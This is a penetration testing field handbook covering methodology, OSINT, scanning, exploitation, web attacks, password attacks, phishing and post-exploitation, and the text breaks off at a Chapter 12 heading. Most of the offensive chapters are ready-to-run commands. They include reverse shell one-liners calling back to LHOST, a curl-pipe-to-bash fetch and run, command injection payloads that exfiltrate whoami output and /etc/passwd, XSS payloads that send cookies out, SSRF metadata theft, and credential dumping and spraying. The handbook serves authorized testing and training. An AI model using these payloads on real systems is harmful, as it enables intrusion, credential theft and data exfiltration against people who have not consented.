COMPLETE FIELD HANDBOOK

[RECONNAISSANCE · SCANNING · EXPLOITATION · POST-EXPLOITATION]

[PRIVILEGE ESCALATION · LATERAL MOVEMENT · PERSISTENCE · EVASION]

[WEB · NETWORK · AD · WIRELESS · SOCIAL ENGINEERING · CLOUD]

[300+ TOOLS · FULL METHODOLOGY · REPORT TEMPLATES]

20 CHAPTERS	300+ TOOLS	FULL KILL CHAIN	REPORT TEMPLATES
Complete Process	With Commands	Step-by-Step	Professional Docs

RECON	SCAN	EXPLOIT	POST-EX	PIVOT	PERSIST	REPORT

WARNING: FOR AUTHORIZED PENETRATION TESTING AND EDUCATIONAL PURPOSES ONLY
UNAUTHORIZED ACCESS TO COMPUTER SYSTEMS IS A CRIMINAL OFFENSE

EDITION 2025 · PROFESSIONAL PENETRATION TESTING REFERENCE · ALL PHASES COVERED

TABLE OF CONTENTS

CHAPTER 01

PENETRATION TESTING METHODOLOGY & LEGAL FRAMEWORK

Penetration testing is the authorized simulation of real-world cyberattacks against an organization's systems to identify exploitable vulnerabilities before malicious actors do. Every engagement must be grounded in explicit legal authorization.

The Penetration Testing Lifecycle

Phase	Objective	Key Deliverable
1. Pre-Engagement	Scope, contracts, rules of engagement	Signed SOW, RoE document
2. Reconnaissance	Gather intel on target — passive/active	Target profile, attack surface map
3. Scanning	Enumerate live hosts, ports, services	Network map, service list
4. Vulnerability Analysis	Identify exploitable weaknesses	Vuln list with CVE/CVSS ratings
5. Exploitation	Validate vulnerabilities with controlled attacks	Proof of compromise
6. Post-Exploitation	Pivot, escalate, maintain access	Domain compromise evidence
7. Reporting	Document findings with remediation steps	Professional pentest report
8. Remediation & Retest	Verify fixes were implemented correctly	Retest report

Legal Frameworks & Standards

Framework / Standard	Scope	Relevance to Pentesting
CFAA (Computer Fraud & Abuse Act)	USA Federal	Primary US law on unauthorized access
Computer Misuse Act 1990	United Kingdom	Criminalizes unauthorized system access
EC-Council CEH Standards	International	Ethical hacking certification standard
PTES (Pen Test Exec Standard)	Global	Comprehensive pentest methodology
OWASP Testing Guide v4.2	Global	Web application testing methodology
NIST SP 800-115	USA Gov	Technical guide for IT security testing
PCI DSS Requirement 11	Global/Finance	Mandates annual penetration testing
ISO 27001 Annex A.12.6	International	Vulnerability management requirements

Rules of Engagement (RoE) Essentials

- ■ Define exact IP ranges, domains, and systems IN and OUT of scope
- ■ Specify test windows — dates, times, and approved testing hours
- ■ Identify emergency contacts and escalation procedures
- ■ Define prohibited techniques (DoS, destructive attacks, data exfiltration limits)
- ■ Agree on data handling — how evidence will be stored and destroyed
- ■ Confirm communication channels for critical findings (immediate notification thresholds)
- ■ Get written authorization signed by appropriate organizational authority

- [ ] Define reporting format, timeline, and classification level

Pentest Types Comparison

Type	Knowledge Level	Simulates	Best For
Black Box	Zero knowledge	External attacker	Real-world threat simulation
Grey Box	Partial access	Insider / partner threat	Most common engagements
White Box	Full access	Code review + infra	Deep security assessment
Red Team	Zero / minimal	Advanced persistent threat	Mature security programs
Purple Team	Full collab	Attacker + defender joint	Detection improvement
Physical	On-site	Physical intruder	Facility security

CHAPTER 02

LAB SETUP & ENVIRONMENT CONFIGURATION

A professional pentest lab requires proper isolation, documentation tools, and a clean OS baseline for each engagement. Never test from personal machines or shared environments.

Recommended OS Platforms

Platform	Version	Best Use Case	RAM
Kali Linux	2024.x	Primary attack platform	4GB+
Parrot OS	5.x Security	Lightweight / privacy ops	2GB+
BlackArch	Rolling	Arch-based, 2800+ tools	4GB+
REMnux	7.x	Malware analysis	2GB+
FLARE-VM	Win-based	Windows malware & RE	8GB+
Commando VM	Win-based	Windows offensive ops	8GB+
Ubuntu + Manual	22.04 LTS	Custom clean install	4GB+

Virtualization Setup

```
# VirtualBox — Free, cross-platform
$ sudo apt install virtualbox virtualbox-ext-pack -y
# VMware Workstation Pro — Best performance
# Download from vmware.com/products/workstation-pro
# Enable nested virtualization (for AD labs)
$ VBoxManage modifyvm 'Kali' --nested-hw-virt on
# Take snapshot before each engagement
$ VBoxManage snapshot 'Kali' take 'Clean-State-$(date +%Y%m%d)'
```

Essential Tool Installation (Kali)

■ Initial Update

Always start fresh

```
$ apt update && apt full-upgrade -y
$ apt install -y kali-linux-everything
```

■ Go Language Tools

Modern security tools written in Go

```
$ apt install -y golang-go
$ go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
$ go install github.com/projectdiscovery/httpx/cmd/httpx@latest
$ go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
$ go install github.com/ffuf/ffuf/v2@latest
```

■ Python Tools

pip3-based security tools

```
$ pip3 install impacket crackmapexec bloodhound --break-system-packages
$ pip3 install certipy-ad pywhisker --break-system-packages
```

■ Additional Tools

Tools not in default Kali

```
$ apt install -y seclists wordlists
$ git clone https://github.com/carlospolop/PEASS-ng.git ~/tools/PEASS
$ git clone https://github.com/411Hall/JAWS.git ~/tools/JAWS
```

Engagement Directory Structure

Organize every engagement consistently:

```
$ export ENG=ClientName_2025Q1
$ mkdir -p ~/engagements/$ENG/{recon,scans,exploit,post-exploit,loot,screenshots,report}
$ mkdir -p ~/engagements/$ENG/recon/{dns,osint,subdomains,urls}
$ mkdir -p ~/engagements/$ENG/loot/{hashes,credentials,files,data}
$ echo 'Engagement started: $(date)' > ~/engagements/$ENG/notes.md
```

VPN & Operational Security

- ■ Always use a dedicated VPN for external engagements — never expose home IP
- ■ Use a separate laptop or VM snapshot per engagement — no cross-contamination
- ■ Disable automatic system updates during active testing windows
- ■ Use time-sync: ntpdate pool.ntp.org before starting to ensure accurate logs
- ■ Enable full-disk encryption on your pentest machine
- ■ Clear logs and temp files before returning equipment to client

CHAPTER 03

OSINT & PASSIVE RECONNAISSANCE

Passive reconnaissance collects intelligence without directly interacting with the target. Zero network traffic is generated toward the target — completely undetectable. This phase builds your target profile.

Domain & DNS Intelligence

■ whois

Domain registration and ownership data

```
$ whois target.com
$ whois -h whois.arin.net TARGET_IP
```

■ dig / nslookup

DNS record enumeration

```
$ dig target.com ANY +noall +answer
$ dig target.com MX NS SOA TXT +short
$ nslookup -type=mx target.com 8.8.8.8
```

■ dnsrecon

Comprehensive DNS enumeration

```
$ dnsrecon -d target.com -t std
$ dnsrecon -d target.com -t axfr # zone transfer attempt
$ dnsrecon -d target.com -D /usr/share/wordlists/dnsmap.txt -t brt
```

■ dnsx

Fast DNS resolution at scale

```
$ cat subdomains.txt | dnsx -resp -a -aaaa -cname -mx -ns -o dns_results.txt
```

■ amass

In-depth attack surface mapping

```
$ amass enum -passive -d target.com -o amass_passive.txt
$ amass intel -d target.com -whois
```

Google Dorking & Search Engine OSINT

Dork Operator	Example	Finds
site:	site:target.com filetype:pdf	PDF documents on domain
inurl:	inurl:admin site:target.com	Admin panel URLs
intitle:	intitle:"index of" site:target.com	Open directories
filetype:	filetype:sql site:target.com	SQL / backup files
cache:	cache:target.com	Google cached version
related:	related:target.com	Similar websites
"string"	"target.com" "api_key"	Exposed credentials
intext:	intext:"password" site:target.com	Password mentions

OSINT Frameworks & Tools

theHarvester

Emails, names, subdomains, hosts from public sources

```
$ theHarvester -d target.com -b all -f harvest_output
$ theHarvester -d target.com -b google,bing,linkedin,twitter -l 500
```

Maltego

Visual link analysis and relationship mapping

```
# Launch GUI: maltego
# Use transforms: Domain to IPs, Emails, Persons, Social accounts
```

Shodan

Internet-connected device and service search

```
$ shodan search "hostname:target.com"
$ shodan search 'org:"Target Corp" port:22'
$ shodan host TARGET_IP
```

Censys

Internet-wide TLS certificate and host search

```
$ censys search --query 'parsed.names:target.com' --index certificates
$ censys view --index hosts TARGET_IP
```

OSINT Framework

Categorized OSINT tool directory

```
# Browse: osintframework.com
# Tools organized by: Username, Email, Domain, IP, Phone, Images
```

Subdomain Enumeration

```
$ subfinder -d target.com -all -recursive -o subdomains.txt
$ assetfinder --subs-only target.com | tee -a subdomains.txt
$ curl -s 'https://crt.sh/?q=%.target.com&output;=json' | jq '.[].name_value' | sort -u
$ cat subdomains.txt | sort -u | dnsx -resp -o live_subs.txt
$ httpx -l live_subs.txt -status-code -title -tech-detect -o web_hosts.txt
```

Social Media & Human Intelligence

Platform / Source	What to Gather	Tool
LinkedIn	Employees, tech stack, org chart	LinkedInt, Maltego
GitHub	Source code, API keys, credentials	TruffleHog, Gitleaks
Twitter/X	Employee mentions, locations	Twint, Twitter Advanced Search
Pastebin	Leaked credentials, configs	PastebinSearch, PSBDMP
Google Groups	Internal discussions leaked	Google search operators
Job Postings	Tech stack from requirements	LinkedIn, Indeed, Glassdoor
WHOIS History	Historical registrant data	DomainTools, ViewDNS.info

CHAPTER 04

NETWORK SCANNING & SERVICE ENUMERATION

Host Discovery

```
# Ping sweep — find live hosts
$ nmap -sn 192.168.1.0/24 -oG ping_sweep.txt
$ nmap -sn -PE -PA21,23,80,3389 192.168.1.0/24
# ARP scan — more reliable on local network
$ arp-scan --localnet
$ netdiscover -r 192.168.1.0/24 -i eth0
# Fast mass scanner
$ masscan -p1-65535 192.168.1.0/24 --rate=10000 -oX masscan.xml
```

Nmap — Master Reference

Nmap Flag / Command	Description
nmap -sV -sC -p- TARGET -oA full_scan	Full scan: version+scripts+all ports
nmap -T4 -A -p 80,443,8080 TARGET	Aggressive scan on web ports
nmap -sS -p- --open TARGET	Stealth SYN, open ports only
nmap -sU --top-ports 100 TARGET	Top 100 UDP ports
nmap -sV --version-intensity 9 TARGET	Max version detection intensity
nmap --script vuln TARGET	Run all vulnerability scripts
nmap --script smb-vuln-* TARGET	SMB-specific vuln detection
nmap --script http-enum TARGET -p 80,443	Web enumeration script
nmap -sV --script=banner TARGET	Grab service banners
nmap -Pn TARGET	Skip ping, treat host as up
nmap -f TARGET	Fragment packets (IDS evasion)
nmap --proxies socks4://127.0.0.1:9050 TARGET	Route through Tor/SOCKS proxy
nmap -D RND:10 TARGET	Decoy scan with random IPs
nmap -oA,oN,oX,oG,oS TARGET	All output formats

Service-Specific Enumeration

■ FTP Enumeration (Port 21)

Check anonymous access and banners

```
$ nmap --script ftp-anon,ftp-bounce,ftp-syst -p 21 TARGET
$ ftp TARGET # try: anonymous / anonymous@
$ hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://TARGET
```

■ SSH Enumeration (Port 22)

Version, auth methods, weak keys

```
$ nmap --script ssh-auth-methods,ssh-hostkey -p 22 TARGET
```

```
$ ssh-audit TARGET # detailed SSH security analysis
$ hydra -l root -P passwords.txt ssh://TARGET -t 4
```

■ SMB Enumeration (Ports 139/445)

Critical for Windows environments

```
$ nmap --script smb-enum-shares,smb-enum-users,smb-os-discovery TARGET
$ enum4linux -a TARGET
$ smbclient -L //TARGET -N # null session share listing
$ smbmap -H TARGET -u '' -p '' # null session access check
$ crackmapexec smb TARGET --shares
```

■ SNMP Enumeration (Port 161/UDP)

Often reveals network topology

```
$ nmap -sU -p 161 --script snmp-info,snmp-sysdescr TARGET
$ snmpwalk -v2c -c public TARGET
$ onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt TARGET
```

■ LDAP Enumeration (Port 389/636)

Active Directory enumeration

```
$ nmap --script ldap-search,ldap-rootdse -p 389 TARGET
$ ldapsearch -H ldap://TARGET -x -b 'DC=domain,DC=com'
$ ldapsearch -H ldap://TARGET -x -s base namingcontexts
```

Automated Scanning Tools

Tool	Command	Best For
rustscan	rustscan -a TARGET -- -sV -sC	Ultra-fast initial scan
autorecon	autorecon TARGET	Full automated recon
legion	legion (GUI)	Visual network mapping
nuclei	nuclei -l hosts.txt -t cves/ -severity critical,high	CVE scanning
nikto	nikto -h https://TARGET -o nikto.txt	Web server misconfigs
wpscan	wpscan --url https://TARGET --enumerate ap,at,u	WordPress scanning

CHAPTER 05

VULNERABILITY ASSESSMENT & ANALYSIS

Vulnerability assessment identifies, classifies, and prioritizes weaknesses before exploitation. This phase maps findings to CVEs and CVSS scores to guide prioritization.

CVSS 3.1 Scoring Reference

Score Range	Severity	Color	Action Priority
9.0 – 10.0	CRITICAL	RED	Immediate remediation — escalate now
7.0 – 8.9	HIGH	ORANGE	Remediate within 15 days
4.0 – 6.9	MEDIUM	YELLOW	Remediate within 30-90 days
0.1 – 3.9	LOW	GREEN	Remediate within 6 months
0.0	INFORMATIONAL	GREY	Risk accepted or best practice

Commercial & Open Source VA Scanners

■ Nessus

Industry-leading vulnerability scanner

```
# Launch service
$ systemctl start nessusd
# Access: https://localhost:8834
# Create scan > Basic Network Scan > Add targets
# Export report: .nessus, .pdf, .csv
```

■ OpenVAS / GVM

Free enterprise-grade vulnerability scanner

```
$ apt install -y openvas
$ gvm-setup
$ gvm-check-setup
$ gvm-start # Access: https://localhost:9392
$ gvm-cli socket --xml ''
```

■ Nmap NSE Scripts

Built-in vulnerability detection

```
$ nmap --script vuln -p- TARGET -oN vuln_nmap.txt
$ nmap --script 'safe or intrusive' TARGET
$ ls /usr/share/nmap/scripts/ | grep -i vuln
```

■ searchsploit

Offline exploit database searching

```
$ searchsploit apache 2.4
$ searchsploit -m 40279 # mirror exploit to current dir
$ searchsploit --cve CVE-2021-44228 # Log4Shell
$ searchsploit -x 40279 # examine without copying
```

Manual Vulnerability Research

Source	URL / Command	Best For
NVD / NIST	nvd.nist.gov	Official CVE database
Exploit-DB	exploit-db.com / searchsploit	Public exploits
VulnHub	vulnhub.com	Practice VMs
Packet Storm	packetstormsecurity.com	Exploits & advisories
GitHub PoC	site:github.com "CVE-XXXX-XXXX" PoC	Proof of concept code
Shodan CVE Search	shodan search vuln:CVE-XXXX-XXXX	Exposed vulnerable systems
0day.today	0day.today	Zero-day exploits

CHAPTER 06

WEB APPLICATION RECONNAISSANCE

Technology Stack Fingerprinting

■ whatweb

Identify CMS, frameworks, servers, plugins

```
$ whatweb -a 3 https://target.com --log-json=whatweb.json
$ whatweb -a 3 -U 'Mozilla/5.0' https://target.com
```

■ wappalyzer

Browser extension + CLI technology detection

```
$ npx wappalyzer https://target.com --pretty
# Browser: Click Wappalyzer icon for instant fingerprint
```

■ wafw00f

Web Application Firewall detection

```
$ wafw00f https://target.com
$ wafw00f https://target.com -a # detect all WAF layers
```

Content Discovery & Directory Enumeration

■ ffuf

Fast web fuzzer — industry standard

```
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -u https://target.com/FUZZ -mc 200,301,302,403
$ ffuf -w params.txt -u 'https://target.com/api?FUZZ=test' -mc 200
$ ffuf -w dirs.txt -u https://target.com/FUZZ -recursion -recursion-depth 3 -e .php,.asp,.html
$ ffuf -w users.txt -w passes.txt -u target.com/login -d 'user=FUZZ1&pass;=FUZZ2' -fc 401
```

■ gobuster

Directory/DNS/vhost brute-force

```
$ gobuster dir -u https://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt
$ gobuster dns -d target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
$ gobuster vhost -u https://target.com -w vhosts.txt --append-domain
```

■ feroxbuster

Recursive content discovery with smart filtering

```
$ feroxbuster -u https://target.com -w wordlist.txt --depth 3 --auto-tune
$ feroxbuster -u https://target.com --extract-links --scan-limit 5
```

Burp Suite Web Proxy Configuration

Feature	Shortcut	Purpose
Proxy Intercept	Ctrl+T	Capture/modify all HTTP/S traffic
Send to Repeater	Ctrl+R	Manually replay and modify single requests
Send to Intruder	Ctrl+I	Automated fuzzing / brute force

Send to Scanner	Ctrl+S	Passive/active automated vuln scan
Comparer	-	Diff two responses (detect subtle changes)
Decoder	Ctrl+Shift+D	URL, Base64, HTML, Hex encode/decode
Logger++	Extension	Advanced traffic logging and filtering
Turbo Intruder	Extension	High-speed attack automation (Python scripted)
Active Scan++	Extension	Enhanced active scanning beyond core Burp
Collaborator	Burp menu	OOB interaction detection (SSRF,XXE,blind XSS)

JavaScript & API Endpoint Extraction

```
# Collect all JS URLs
$ cat urls.txt | grep '\.js$' | sort -u > js_files.txt
# Extract endpoints from JS
$ python3 linkfinder.py -i https://target.com -d -o cli
$ python3 linkfinder.py -i js_file.js -o results.html
# Find secrets in JS
$ python3 SecretFinder.py -i https://target.com -e -o cli
# Parameter discovery
$ arjun -u https://target.com/api/endpoint -m GET
$ arjun -u https://target.com/api/endpoint -m POST --stable
$ paramspider -d target.com --level high -o params.txt
```

CHAPTER 07

NETWORK & SERVICE EXPLOITATION

Metasploit Framework

■ Core Metasploit Commands

Primary exploitation framework

```
$ msfconsole -q # launch quiet
$ search type:exploit platform:windows name:smb
$ use exploit/windows/smb/ms17_010_eternalblue
$ show options
$ set RHOSTS TARGET
$ set PAYLOAD windows/x64/meterpreter/reverse_tcp
$ set LHOST YOUR_IP && set LPORT 4444
$ check # verify target is vulnerable
$ exploit # or 'run'
```

■ Meterpreter Core Commands

Post-exploitation shell

```
$ sysinfo && getuid && getpid
$ getsystem # attempt privilege escalation
$ hashdump # dump password hashes
$ shell # drop to OS shell
$ upload /path/to/file C:\\Windows\\Temp\\file
$ download C:\\sensitive\\file.txt /tmp/
$ portfwd add -l 8080 -p 80 -r INTERNAL_HOST
$ run post/multi/recon/local_exploit_suggester
```

Common High-Value Exploits

CVE / Exploit Name	Service	MSF Module / Tool
MS17-010 EternalBlue	SMB 445	exploit/windows/smb/ms17_010_eternalblue
Log4Shell (CVE-2021-44228)	Log4j	exploit/multi/misc/log4shell
ProxyLogon (CVE-2021-26855)	Exchange	exploit/windows/http/exchange_proxylogon_rce
PrintNightmare (CVE-2021-1675)	Spooler	exploit/windows/dcerpc/cve_2021_1675_printspooler
Heartbleed (CVE-2014-0160)	OpenSSL	auxiliary/scanner/ssl/openssl_heartbleed
Shellshock (CVE-2014-6271)	Bash/CGI	exploit/multi/http/apache_mod_cgi_bash_env_exec
MS08-067 NetAPI	SMB	exploit/windows/smb/ms08_067_netapi
Dirty COW (CVE-2016-5195)	Linux Kernel	Local priv esc — manual exploit

Manual Exploitation Techniques

```
# Reverse shells — various languages
$ bash -i >& /dev/tcp/LHOST/4444 0>&1
$ python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("LHOST",4444));os.dup2(s.fileno(),0)
;os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
```

```
$ php -r '$sock=fsockopen("LHOST",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
$ nc -e /bin/bash LHOST 4444
# Listener
$ nc -lvnp 4444
$ rlwrap nc -lvnp 4444 # with readline support
# Upgrade dumb shell
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
# Then: Ctrl+Z, stty raw -echo; fg, export TERM=xterm
# File transfer
$ python3 -m http.server 8080 # host file
$ wget http://LHOST:8080/file.sh -O /tmp/file.sh
$ curl -s http://LHOST:8080/file.sh | bash
```

Network Service Attacks

■ Responder — LLMNR/NBT-NS Poisoning

Capture NTLMv2 hashes on local network

```
$ responder -I eth0 -A # analyze mode (passive)
$ responder -I eth0 -wFb # active poisoning
# Captured hashes saved to /usr/share/responder/logs/
```

■ CrackMapExec — Swiss Army Knife

Network-wide SMB/WinRM/MSSQL/SSH attacks

```
$ crackmapexec smb TARGET/24 -u user -p password --shares
$ crackmapexec smb TARGET -u admin -H NTHASH --sam
$ crackmapexec winrm TARGET -u admin -p password -x 'whoami'
$ crackmapexec smb TARGET -u user -p pass --lusers
```

CHAPTER 08

WEB APPLICATION EXPLOITATION — OWASP TOP 10

OWASP Top 10 — 2021 Reference

#	Category	Key Attack Techniques
A01	Broken Access Control	IDOR, path traversal, privilege escalation, CORS abuse
A02	Cryptographic Failures	Weak ciphers, cleartext data, weak hashing
A03	Injection	SQLi, XSS, XXE, SSTI, command injection
A04	Insecure Design	Business logic flaws, race conditions
A05	Security Misconfiguration	Debug on, default creds, verbose errors, CORS
A06	Vulnerable Components	Outdated libs, CVE exploitation in dependencies
A07	ID & Auth Failures	Brute force, credential stuffing, session fixation
A08	Software & Data Integrity	Insecure deserialization, supply chain attacks
A09	Security Logging Failures	No audit trail, alerting gaps
A10	SSRF	Internal service access, cloud metadata theft

SQL Injection — Full Coverage

SQLi Type	Detection	Tool / Payload
Error-based	Returns SQL error message	' OR '1'='1 / ' OR 1=1--
Boolean-blind	True/false response diff	' AND 1=1-- vs ' AND 1=2--
Time-based blind	Delay in response	'; WAITFOR DELAY '00:00:05'--
UNION-based	Extra data in response	' UNION SELECT NULL,NULL--
Out-of-band	DNS/HTTP callback	'; exec xp_dirtree '//COLLAB/x'--
Second-order	Stored & triggered later	Register as: admin'--

sqlmap Commands

```
$ sqlmap -u 'https://target.com/page?id=1' --dbs
$ sqlmap -u 'https://target.com/page?id=1' -D dbname --tables
$ sqlmap -u 'https://target.com/page?id=1' -D dbname -T users --dump
$ sqlmap -r request.txt --batch --level=5 --risk=3
$ sqlmap -r request.txt --tamper=space2comment,between,randomcase
$ sqlmap -u 'URL' --os-shell # OS command execution if possible
$ sqlmap -u 'URL' --file-read='/etc/passwd' # file read via SQLi
```

Cross-Site Scripting (XSS)

XSS Type	Example Payload	Impact
Reflected	<script>alert(document.cookie)</script>	Session theft (requires click)
Stored	<img src=x onerror=fetch('//COLLAB?c='+document.cookie)>	Persistent — all visitors

DOM	javascript:eval(location.hash.slice(1))	No server round-trip
Blind	<script src=https://COLLAB/payload.js></script>	Admin panel theft
Polyglot	jaVasCript:/*-/*`/*`/*'/*"/**(/* */oNcliCk=alert(1))//	WAF bypass

XSS Tools

```
$ dalfox url 'https://target.com/search?q=FUZZ' --blind https://COLLAB
$ dalfox file urls.txt --worker 20 -o xss_results.txt
$ kxss < urls.txt # quick parameter XSS check
```

Server-Side Request Forgery (SSRF)

Target	Payload	Data Obtainable
AWS Metadata	http://169.254.169.254/latest/meta-data/	IAM credentials, keys
GCP Metadata	http://metadata.google.internal/computeMetadata/v1/	Service account tokens
Azure Metadata	http://169.254.169.254/metadata/instance	VM configuration
Localhost services	http://localhost:6379/ (Redis)	Internal service data
Internal network scan	http://192.168.1.1/	Internal service discovery

Command Injection

```
# Test payloads
$ ; whoami
$ | whoami
$ || whoami
$ && whoami
$ `whoami`
$ $(whoami)
# Time-based blind: no output visible
$ ; sleep 5
$ | ping -c 5 127.0.0.1
# OOB exfiltration
$ $(curl http://COLLAB/$(whoami))
$ $(nslookup $(cat /etc/passwd | head -1 | base64).COLLAB)
```

CHAPTER 09

PASSWORD ATTACKS & CREDENTIAL ACCESS

Password Cracking with Hashcat

Hash Type	Mode (-m)	Example Command
MD5	0	hashcat -a 0 -m 0 hash.txt rockyou.txt
SHA-1	100	hashcat -a 0 -m 100 hash.txt wordlist.txt
bcrypt	3200	hashcat -a 0 -m 3200 hash.txt wordlist.txt
NTLM	1000	hashcat -a 0 -m 1000 ntlm.txt rockyou.txt
NTLMv2	5600	hashcat -a 0 -m 5600 ntlmv2.txt rockyou.txt
NetNTLMv2	5600	hashcat -a 0 -m 5600 hash.txt rockyou.txt -r rules/best64.rule
Kerberos 5 TGS	13100	hashcat -a 0 -m 13100 kerberoast.txt rockyou.txt
WPA/WPA2	22000	hashcat -a 0 -m 22000 capture.hccapx wordlist.txt
SHA-512 crypt	1800	hashcat -a 0 -m 1800 shadow.txt rockyou.txt
JWT HS256	16500	hashcat -a 0 -m 16500 jwt.txt rockyou.txt

Hashcat Attack Modes

```
$ hashcat -a 0 -m 1000 hash.txt wordlist.txt # Dictionary
$ hashcat -a 1 -m 1000 hash.txt wordlist1.txt wordlist2.txt # Combinator
$ hashcat -a 3 -m 1000 hash.txt ?u?l?l?l?l?d?d?d?d # Brute force mask
$ hashcat -a 0 -m 1000 hash.txt wordlist.txt -r /usr/share/hashcat/rules/best64.rule
$ hashcat -a 6 -m 1000 hash.txt wordlist.txt ?d?d?d?d # Hybrid word+mask
```

John the Ripper

```
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
$ john --format=NT hash.txt --wordlist=wordlist.txt
$ john --rules --wordlist=wordlist.txt hash.txt
$ john hash.txt --show # show cracked passwords
# Unshadow Linux /etc/passwd + /etc/shadow
$ unshadow /etc/passwd /etc/shadow > unshadowed.txt
$ john --wordlist=rockyou.txt unshadowed.txt
```

Online Brute Force Tools

■ Hydra

Fast network authentication brute forcer

```
$ hydra -l admin -P rockyou.txt ssh://TARGET
$ hydra -L users.txt -P passwords.txt ftp://TARGET
$ hydra -l admin -P rockyou.txt TARGET http-post-form '/login:user=^USER^&pass;=^PASS^:Invalid'
$ hydra -l user -P rockyou.txt rdp://TARGET -t 1
$ hydra -C creds.txt TARGET smb # colon-separated user:pass list
```

■ Medusa

High-speed parallel network logon auditor

```
$ medusa -h TARGET -u admin -P rockyou.txt -M ssh
$ medusa -H hosts.txt -U users.txt -P passwords.txt -M ftp
```

■ Spray attacks

Password spraying to avoid lockout

```
$ crackmapexec smb TARGET/24 -u users.txt -p 'Winter2025!' --continue-on-success
$ crackmapexec winrm TARGET -u users.txt -p 'Password123' --no-bruteforce
```

Credential Dumping Tools

Tool	Target	Command
mimikatz	Windows LSASS	sekurlsa::logonpasswords / lsadump::sam
secretsdump.py	Remote SAM/NTDS	secretsdump.py DOMAIN/user:pass@TARGET
LaZagne	Local apps	python3 laZagne.py all
hashdump (MSF)	Meterpreter	run post/windows/gather/hashdump
reg save (manual)	SAM/SYSTEM hive	reg save HKLM\SAM sam.hive
pypykatz	Offline LSASS	pypykatz lsa minidump lsass.dmp
fgdump	Windows legacy	fgdump.exe (old systems)

CHAPTER 10

SOCIAL ENGINEERING & PHISHING

Social engineering exploits human psychology rather than technical vulnerabilities. Many breaches begin with phishing — always test the human element with explicit authorization.

Phishing Infrastructure Setup

■ GoPhish

Professional phishing simulation platform

```
# Download from getgophish.com
$ tar -xzf gophish-*.tar.gz && cd gophish
$ ./gophish # Access admin: https://localhost:3333
# Default creds: admin / gophish (change immediately)
# Configure: Sending Profile, Email Template, Landing Page, Campaign
```

■ evilginx2

Man-in-the-middle phishing proxy (credential capture)

```
# Install: git clone https://github.com/kgretzky/evilginx2
$ cd evilginx2 && make
$ ./evilginx -p ./phishlets
$ phishlets hostname microsoft your-domain.com
$ phishlets enable microsoft
$ lures create microsoft # get phishing URL
```

■ SET (Social Engineering Toolkit)

Comprehensive SE attack framework

```
$ setoolkit
# Option 1: Social-Engineering Attacks
# Option 2: Website Attack Vectors
# Option 3: Credential Harvester
# Site Cloner: clone target website
```

Phishing Email Techniques

Technique	Description	Success Rate
Spear Phishing	Targeted, personalized to recipient	Very High
Whaling	Targeting executives / C-suite	High if well-crafted
Vishing	Voice call impersonation (IT helpdesk)	High in real-time
Smishing	SMS phishing with malicious links	Medium-High
Clone Phishing	Duplicate legitimate email + modify link	High
Business Email Comp	Impersonate executive email domain	Very High in finance
Credential Harvest	Fake login page to capture passwords	High with urgency

Payload Delivery Techniques

Payload Type	Creation Tool	Delivery Method

Office Macro	msfvenom / manual	Email attachment (.docm, .xlsm)
HTA File	msfvenom	HTML Application (auto-executes)
PDF Exploit	msfvenom	Email attachment (CVE-based)
LNK File	msfvenom / manual	USB drop or email attachment
ISO/IMG	msfvenom	Circumvents Mark-of-the-Web (MOTW)
ZIP with payload	Various	Password-protected to bypass AV scan
HTML Smuggling	Custom HTML/JS	Payload decoded client-side in browser

Physical Social Engineering

- Tailgating / Piggybacking — follow authorized person through secured doors
- Pretexting — create false identity (IT support, vendor, auditor)
- USB Drop Attack — leave infected USB drives in target's parking lot or lobby
- Vishing — call helpdesk posing as executive to reset passwords
- Shoulder surfing — observe employees entering credentials
- Dumpster diving — recover sensitive documents from trash
- Badge cloning — RFID/NFC badge skimming (Flipper Zero, Proxmark3)

CHAPTER 11

POST-EXPLOITATION & PILLAGING

Situational Awareness Commands

First commands upon gaining shell access:

Command	OS	Information Gathered
whoami /all	Win	Current user, groups, privileges
id && uname -a && hostname	Lin	User, kernel, hostname
ipconfig /all / ip addr	Both	Network interfaces and IPs
netstat -ano / ss -tulpn	Both	Active network connections
ps aux / tasklist	Both	Running processes
net user && net localgroup	Win	Local users and groups
cat /etc/passwd && cat /etc/shadow	Lin	User accounts and password hashes
systeminfo / uname -a	Both	OS version, patches, architecture
env / set	Both	Environment variables
cat /etc/crontab / schtasks /query	Both	Scheduled tasks and cron jobs
find / -perm -4000 2>/dev/null	Lin	SUID binaries for privesc

Automated Post-Exploitation Scripts

■ WinPEAS / LinPEAS

Automated privilege escalation enumeration

```
# Download on target
$ curl -s https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
$ .\winPEASany.exe # Windows
$ bash linpeas.sh | tee linpeas_output.txt # Linux
```

■ PowerView

Windows domain enumeration (PowerShell)

```
$ . .\PowerView.ps1
$ Get-NetDomain && Get-NetUser && Get-NetComputer
$ Get-NetShare && Invoke-ShareFinder
$ Find-LocalAdminAccess # find machines where you are local admin
```

■ BloodHound

AD attack path visualization

```
# Collect data (on Windows target)
$ .\SharpHound.exe -c All --zipfilename bloodhound_data
# Or using Python collector
$ bloodhound-python -d domain.com -u user -p pass -ns DC_IP -c All
# Import ZIP into BloodHound GUI
# Query: Find Shortest Paths to Domain Admins
```

Pillaging — Data Collection

Data Type	Windows Path / Command	Linux Path / Command
Browser Creds	LaZagne.exe browsers	~/.mozilla/firefox/*.default/
SSH Keys	N/A (check .ssh folder)	~/.ssh/id_rsa, authorized_keys
Config Files	C:\inetpub\wwwroot\web.config	/etc/apache2/, /var/www/html/
Password Files	findstr /si password *.txt *.ini *.config	grep -r 'password' /etc/ 2>/dev/null
Database Files	*.mdb, *.sql, *.sqlite	find / -name '*.db' 2>/dev/null
Sensitive Docs	Get-ChildItem -Recurse *.xlsx *.pdf *.docx	find / -name '*.pdf' 2>/dev/null
Registry Secrets	reg query HKLM /f password /t REG_SZ /s	N/A
Unattend files	C:\Windows\Panther\Unattend.xml	N/A

CHAPTER 12

